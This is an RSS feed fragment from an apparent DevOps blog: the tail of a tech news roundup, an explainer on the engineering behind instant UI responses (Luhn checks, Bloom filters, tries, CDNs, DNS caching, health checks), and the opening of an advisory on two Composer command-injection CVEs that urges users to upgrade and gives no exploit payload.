        <a href="#h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Google and OpenAI are making a run at Claude’s desktop moat, and Anthropic is making it easy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’m Matt Burns, Chief Content Officer at Insight Media Group. Each week, I round up the most important AI developments, The post Google and OpenAI are making a run at Claude’s desktop moat, and Anthro</p>
<p><strong>📅 Apr 18, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/google-and-openai-are-making-a-run-at-claudes-desktop-moat-and-anthropic-is-making-it-easy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-prepare-your-company-for-the-era-of-agentic-itops" class="group relative scroll-mt-24">
        <a href="#h3-how-to-prepare-your-company-for-the-era-of-agentic-itops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to prepare your company for the era of agentic ITops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-prepare-your-company-for-the-era-of-agentic-itops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Rules-based IT operations cost businesses hundreds of billions of dollars every year. If your company depends on human labor to The post How to prepare your company for the era of agentic ITops appear</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/how-to-prepare-your-company-for-the-era-of-agentic-itops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe" class="group relative scroll-mt-24">
        <a href="#h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic AI Foundation Announces Global 2026 Events Program Anchored by AGNTCon + MCPCon North America and Europe
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Expanded global schedule brings agentic AI ecosystem together across ten cities, with flagship AGNTCon + MCPCon events and…</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 KubeCon Updates</strong></p>
<p><a href="https://events.linuxfoundation.org/2026/04/17/agentic-ai-foundation-announces-global-2026-events-program-anchored-by-agntcon-mcpcon-north-america-and-europe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-road-to-responsive-intellij-based-ides" class="group relative scroll-mt-24">
        <a href="#h3-the-road-to-responsive-intellij-based-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Road to Responsive IntelliJ-Based IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-road-to-responsive-intellij-based-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>TL;DR: This is a technical blog post about our work to improve UI responsiveness in IntelliJ-based IDEs. It’s a multi-year effort to fix several architectural constraints. The project is still ongoing</p>
<p><strong>📅 Apr 17, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/platform/2026/04/road-to-responsive-ides/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents" class="group relative scroll-mt-24">
        <a href="#h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Koog Integration for Spring AI: Smarter Orchestration for Your Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Spring AI is the application-facing integration layer you may already use. Koog is the next layer up when you need agent orchestration. Spring AI already covers the chat model API, chat memory, and ve</p>
<p><strong>📅 Apr 16, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/04/introducing-koog-integration-for-spring-ai-smarter-orchestration-for-your-agents/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How Does It Work So Fast? The Engineering Behind Instant UI Responses]]></title>
      <link>https://devops.anhp.site/posts/how-does-it-work-so-fast</link>
      <description><![CDATA[Credit card validation, username checks, autocomplete, URL shorteners - they all feel instant. Here is what is actually happening under the hood in each case.]]></description>
      <pubDate>Wed, 15 Apr 2026 14:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/how-does-it-work-so-fast</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[system-design]]></category><category><![CDATA[algorithms]]></category><category><![CDATA[performance]]></category><category><![CDATA[infrastructure]]></category>
      <content:encoded><![CDATA[<p>You type a 16-digit card number and the form instantly says &quot;Invalid card number.&quot; You start typing a Gmail username and it tells you it is taken before you finish. Google shows search suggestions after two keystrokes.</p>
<p>These interactions feel like magic, but each one uses a specific technique. Some are algorithmic tricks that avoid the database entirely. Others rely on data structures designed for exactly this kind of lookup. A few depend on infrastructure that puts the answer physically closer to you.</p>
<p>Here are eight things that feel instant and the engineering that makes them work.</p>
<hr>
<h2 id="h2-1-credit-card-validation" class="group relative scroll-mt-24">
        <a href="#h2-1-credit-card-validation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Credit Card Validation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-1-credit-card-validation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type a card number and the form rejects it immediately. There are billions of valid card numbers. How does it check that fast?</p>
<p><strong>The answer:</strong> It doesn&#39;t check against a database. Card numbers have a checksum baked into them using the Luhn algorithm.</p>
<p>The algorithm works on the number itself:</p>
<ol>
<li>Starting from the rightmost digit, double every second digit</li>
<li>If doubling produces a number greater than 9, subtract 9</li>
<li>Sum all the digits</li>
<li>If the total is divisible by 10, the number is structurally valid</li>
</ol>
<pre><code>Card number: 4539 1488 0343 6467

Step 1 (double alternating):  8 5 6 9 2 4 16 8 0 3 8 3 12 4 12 7
Step 2 (subtract 9 if &gt;9):   8 5 6 9 2 4 7  8 0 3 8 3 3  4 3  7
Step 3 (sum all):             80
Step 4 (divisible by 10?):    Yes -&gt; valid structure
</code></pre><p>This runs in O(n) where n is 16. No network call, no database query. The check runs entirely in the browser in microseconds.</p>
<p>Card numbers are not random. The first 6 digits identify the issuing bank (the BIN), the next digits are the account number, and the last digit is the Luhn check digit calculated from everything before it. The actual &quot;does this card exist and have funds&quot; check happens later when you submit the payment to the processor.</p>
<hr>
<h2 id="h2-2-username-already-taken" class="group relative scroll-mt-24">
        <a href="#h2-2-username-already-taken" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. "Username Already Taken"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-2-username-already-taken"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> Gmail has billions of accounts. You type a username and it instantly tells you it is taken. How?</p>
<p><strong>The answer:</strong> Bloom filters and in-memory data structures.</p>
<p>A Bloom filter is a probabilistic data structure that can tell you &quot;definitely not in the set&quot; or &quot;probably in the set&quot; using very little memory. For billions of usernames, a Bloom filter might use a few gigabytes of RAM instead of the hundreds of gigabytes a full hash table would need.</p>
<p>The tradeoff: Bloom filters have false positives (it might say &quot;taken&quot; when it is not) but never false negatives (it will never say &quot;available&quot; when the name is taken). For username checks, this is acceptable. If the Bloom filter says &quot;probably taken,&quot; a follow-up database query confirms it.</p>
<p>The typical flow:</p>
<ol>
<li>User types a character (debounced - waits 300ms after the last keystroke)</li>
<li>Client sends the username to an API endpoint</li>
<li>Server checks the Bloom filter: if not in the filter, return &quot;available&quot; immediately</li>
<li>If the filter says &quot;maybe taken,&quot; query the database to confirm</li>
<li>Return the result</li>
</ol>
<p>The Bloom filter check takes nanoseconds. The database fallback only happens for a small percentage of lookups. Combined with debouncing (not sending a request for every single keystroke), the check feels instant.</p>
<hr>
<h2 id="h2-3-google-autocomplete" class="group relative scroll-mt-24">
        <a href="#h2-3-google-autocomplete" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Google Autocomplete
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-3-google-autocomplete"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type two letters and Google shows 10 suggestions. There are trillions of possible queries. How?</p>
<p><strong>The answer:</strong> Trie data structures, pre-computed suggestion lists, and edge caching.</p>
<p>A trie (prefix tree) is a tree where each node represents a character. To find all completions for &quot;ku&quot;, you traverse the tree to the &quot;k&quot; -&gt; &quot;u&quot; node and everything below it is a valid suggestion. This lookup is O(m) where m is the length of the prefix you typed, regardless of how many total entries exist.</p>
<p>But Google does not search through all possible queries live. The suggestions are pre-computed:</p>
<ol>
<li>Google logs aggregate query data (what people search for, how often)</li>
<li>Offline jobs compute the top 10-15 suggestions for every common prefix</li>
<li>These suggestion lists are cached at edge servers worldwide</li>
<li>When you type &quot;ku&quot;, the nearest edge server returns the pre-computed list for that prefix</li>
</ol>
<p>The response comes from a CDN node that might be in the same city as you. The round trip is a few milliseconds. The server does not compute anything - it is a cache lookup.</p>
<p>For rare prefixes that are not pre-computed, the request falls through to a backend that does a real trie lookup, but this covers less than 1% of queries.</p>
<hr>
<h2 id="h2-4-url-shorteners-bitly-tco" class="group relative scroll-mt-24">
        <a href="#h2-4-url-shorteners-bitly-tco" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. URL Shorteners (bit.ly, t.co)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-4-url-shorteners-bitly-tco"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> A short URL like <code>bit.ly/abc123</code> redirects to a full URL in under 50ms. With billions of links, how?</p>
<p><strong>The answer:</strong> Hash table lookup with base62 encoding.</p>
<p>The short code (<code>abc123</code>) is a base62-encoded integer (using a-z, A-Z, 0-9). This maps to a row in a database. The lookup is a primary key query - O(1) in a hash index.</p>
<pre><code>abc123 -&gt; base62 decode -&gt; integer 56800235584
SELECT target_url FROM links WHERE id = 56800235584;
</code></pre><p>Primary key lookups in any database are fast, but URL shorteners add two more layers:</p>
<ol>
<li><p><strong>In-memory cache</strong>: Popular short URLs (which follow a power-law distribution - a small percentage of links get most of the clicks) are cached in Redis or Memcached. Cache hit rate is typically above 90%.</p>
</li>
<li><p><strong>CDN redirect</strong>: The most popular links are served as HTTP 301 redirects directly from CDN edge servers, never hitting the origin database at all.</p>
</li>
</ol>
<p>The result: most redirects complete in under 10ms because the answer is already in memory at a server near you.</p>
<hr>
<h2 id="h2-5-user-is-typing-in-chat-apps" class="group relative scroll-mt-24">
        <a href="#h2-5-user-is-typing-in-chat-apps" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. "User Is Typing..." in Chat Apps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-5-user-is-typing-in-chat-apps"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> WhatsApp and Slack show &quot;typing...&quot; indicators in real-time. With millions of concurrent conversations, how?</p>
<p><strong>The answer:</strong> WebSocket presence channels with client-side debouncing.</p>
<p>The app does not send a message for every keystroke. Instead:</p>
<ol>
<li>When you start typing, the client sends a single &quot;typing&quot; event over an existing WebSocket connection</li>
<li>The server forwards this to the other participant(s) in the conversation</li>
<li>The client keeps a local timer. If you stop typing for 3-5 seconds, it sends a &quot;stopped typing&quot; event</li>
<li>If you keep typing, it sends a refresh &quot;still typing&quot; event every few seconds</li>
</ol>
<p>The WebSocket connection is already open (it is the same connection used for receiving messages), so there is no connection overhead. The &quot;typing&quot; event is a few bytes. The server routes it to the other participant&#39;s open WebSocket - no database write, no queue, just in-memory message routing.</p>
<p>For group chats, the server might aggregate typing indicators (&quot;3 people are typing...&quot;) to reduce the number of events sent to each participant.</p>
<hr>
<h2 id="h2-6-cdn-serving-images-globally" class="group relative scroll-mt-24">
        <a href="#h2-6-cdn-serving-images-globally" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. CDN Serving Images Globally
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-6-cdn-serving-images-globally"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> An image hosted on a server in Virginia loads in 50ms for someone in Tokyo. How?</p>
<p><strong>The answer:</strong> Anycast routing and edge caching.</p>
<p>CDNs (Cloudflare, CloudFront, Fastly) have servers in hundreds of locations worldwide - called Points of Presence (PoPs). When you request an image:</p>
<ol>
<li>DNS resolves the CDN domain using anycast routing, which directs you to the nearest PoP based on network topology</li>
<li>The PoP checks its local cache. If the image is there, it returns it immediately (cache hit)</li>
<li>If not cached, the PoP fetches it from the origin server, caches it, and returns it</li>
<li>Subsequent requests from anyone near that PoP get the cached version</li>
</ol>
<p>The key: after the first request, the image is served from a server that might be 10ms away instead of 200ms away. Popular images are cached at every PoP worldwide.</p>
<p>CDNs also use tiered caching: regional PoPs cache more content than edge PoPs, and edge PoPs pull from regional caches instead of hitting the origin. This reduces origin load to a fraction of total traffic.</p>
<hr>
<h2 id="h2-7-dns-resolution" class="group relative scroll-mt-24">
        <a href="#h2-7-dns-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. DNS Resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-7-dns-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> You type a domain name and the browser resolves it to an IP in under 5ms. There are hundreds of millions of domains. How?</p>
<p><strong>The answer:</strong> Aggressive caching at every layer.</p>
<p>DNS resolution involves multiple lookups (root servers, TLD servers, authoritative servers), but you almost never do the full chain:</p>
<ol>
<li><p><strong>Browser cache</strong>: Your browser caches DNS results. If you visited the site in the last few minutes, the IP is already known. Zero network calls.</p>
</li>
<li><p><strong>OS cache</strong>: The operating system maintains its own DNS cache. If any application on your machine resolved this domain recently, it is cached here.</p>
</li>
<li><p><strong>Router cache</strong>: Your home router often caches DNS responses.</p>
</li>
<li><p><strong>ISP resolver cache</strong>: Your ISP&#39;s DNS resolver (or Google&#39;s 8.8.8.8, or Cloudflare&#39;s 1.1.1.1) caches results for their TTL. Since millions of users share the same resolver, popular domains are almost always cached.</p>
</li>
</ol>
<p>For a popular domain like google.com, the full resolution chain has not been needed for hours or days. Your ISP&#39;s resolver already has the answer. The lookup is a single UDP packet to a server within a few milliseconds of you.</p>
<p>For domains that are not in any cache, the full resolution takes 50-200ms. But this only happens once per TTL period (typically 5 minutes to 24 hours).</p>
<hr>
<h2 id="h2-8-load-balancer-health-checks" class="group relative scroll-mt-24">
        <a href="#h2-8-load-balancer-health-checks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          8. Load Balancer Health Checks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-8-load-balancer-health-checks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>The question:</strong> A server goes down and traffic stops going to it within seconds. How does the load balancer know?</p>
<p><strong>The answer:</strong> Active health checks with fast failure detection.</p>
<p>Load balancers (HAProxy, NGINX, AWS ALB) continuously probe backend servers:</p>
<ol>
<li><p><strong>TCP checks</strong>: Send a SYN packet, wait for SYN-ACK. Takes microseconds. Verifies the server is reachable and the port is open.</p>
</li>
<li><p><strong>HTTP checks</strong>: Send a GET to a <code>/health</code> endpoint. The response must return 200 within a timeout (typically 2-5 seconds). This verifies the application is actually running, not just the OS.</p>
</li>
<li><p><strong>Failure thresholds</strong>: Most load balancers require 2-3 consecutive failed checks before marking a server as down. This prevents false positives from network blips.</p>
</li>
</ol>
<pre><code># HAProxy health check configuration
server backend1 10.0.1.10:8080 check inter 2s fall 3 rise 2
# Check every 2 seconds
# Mark down after 3 failures (6 seconds worst case)
# Mark up after 2 successes
</code></pre><p>With checks every 2 seconds and a threshold of 3 failures, a dead server is removed from the pool within 6 seconds. Some setups use 1-second intervals for even faster detection.</p>
<p>Modern load balancers also support passive health checks: if real user requests to a backend start failing, the server is removed immediately without waiting for the next active check cycle.</p>
<hr>
<h2 id="h2-the-pattern" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Pattern
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Looking across all eight examples, three techniques show up repeatedly:</p>
<p><strong>Avoid the expensive operation entirely.</strong> Credit cards use a checksum instead of a database lookup. Bloom filters answer &quot;no&quot; without touching the database. URL shorteners serve from cache instead of querying storage.</p>
<p><strong>Pre-compute the answer.</strong> Google autocomplete pre-builds suggestion lists. CDNs pre-position content at edge servers. DNS caches results at every layer.</p>
<p><strong>Put the answer closer to the user.</strong> CDN edge servers, ISP DNS resolvers, browser caches - the fastest response is one that never crosses the internet.</p>
<p>The next time something feels instant, ask yourself: is it avoiding work, is the answer pre-computed, or is it just really close?</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Two Composer Command Injection Flaws Let Attackers Run Arbitrary Code - Even Without Perforce]]></title>
      <link>https://devops.anhp.site/posts/composer-command-injection-cve-2026</link>
      <description><![CDATA[CVE-2026-40176 and CVE-2026-40261 affect all Composer 2.x versions. A malicious composer.json or crafted package metadata can execute OS commands on your machine. Upgrade to 2.9.6 now.]]></description>
      <pubDate>Tue, 14 Apr 2026 17:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/composer-command-injection-cve-2026</guid>
      <category><![CDATA[Security]]></category>
      
      <category><![CDATA[security]]></category><category><![CDATA[php]]></category><category><![CDATA[composer]]></category><category><![CDATA[supply-chain]]></category><category><![CDATA[cve]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two command injection vulnerabilities in PHP Composer&#39;s Perforce driver were disclosed on April 14, 2026. The worse one (CVE-2026-40261, CVSS 8.8) can be triggered through malicious package metadata from any Composer repository - a supply chain attack that runs OS commands on your machine when you install dependencies. Neither vulnerability requires Perforce to be installed. Upgrade to Composer 2.9.6 or 2.2.27 (LTS) immediately.</p>
<pre><code class="hljs language-bash">composer self-update
</code></pre><hr>
<h2 id="h2-what-happened" class="group relative scroll-mt-24">
        <a href="#h2-what-happened" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What happened
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-happened"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Composer builds shell commands internally when working with Perforce repositories. Two methods in <code>src/Composer/Util/Perforce.php</code> were concatenating user-supplied values directly into those shell commands without escaping them.</p>
<p>If an attacker can control certain fields - a Perforce source reference, port, user, or client value - they can inject arbitrary shell commands that execute on your machine.</p>
<p>The critical detail: <strong>Perforce doesn&#39;t need to be installed</strong>. The shell command is constructed and executed regardless. The injected payload runs before the shell even looks for the <code>p4</code> binary.</p>
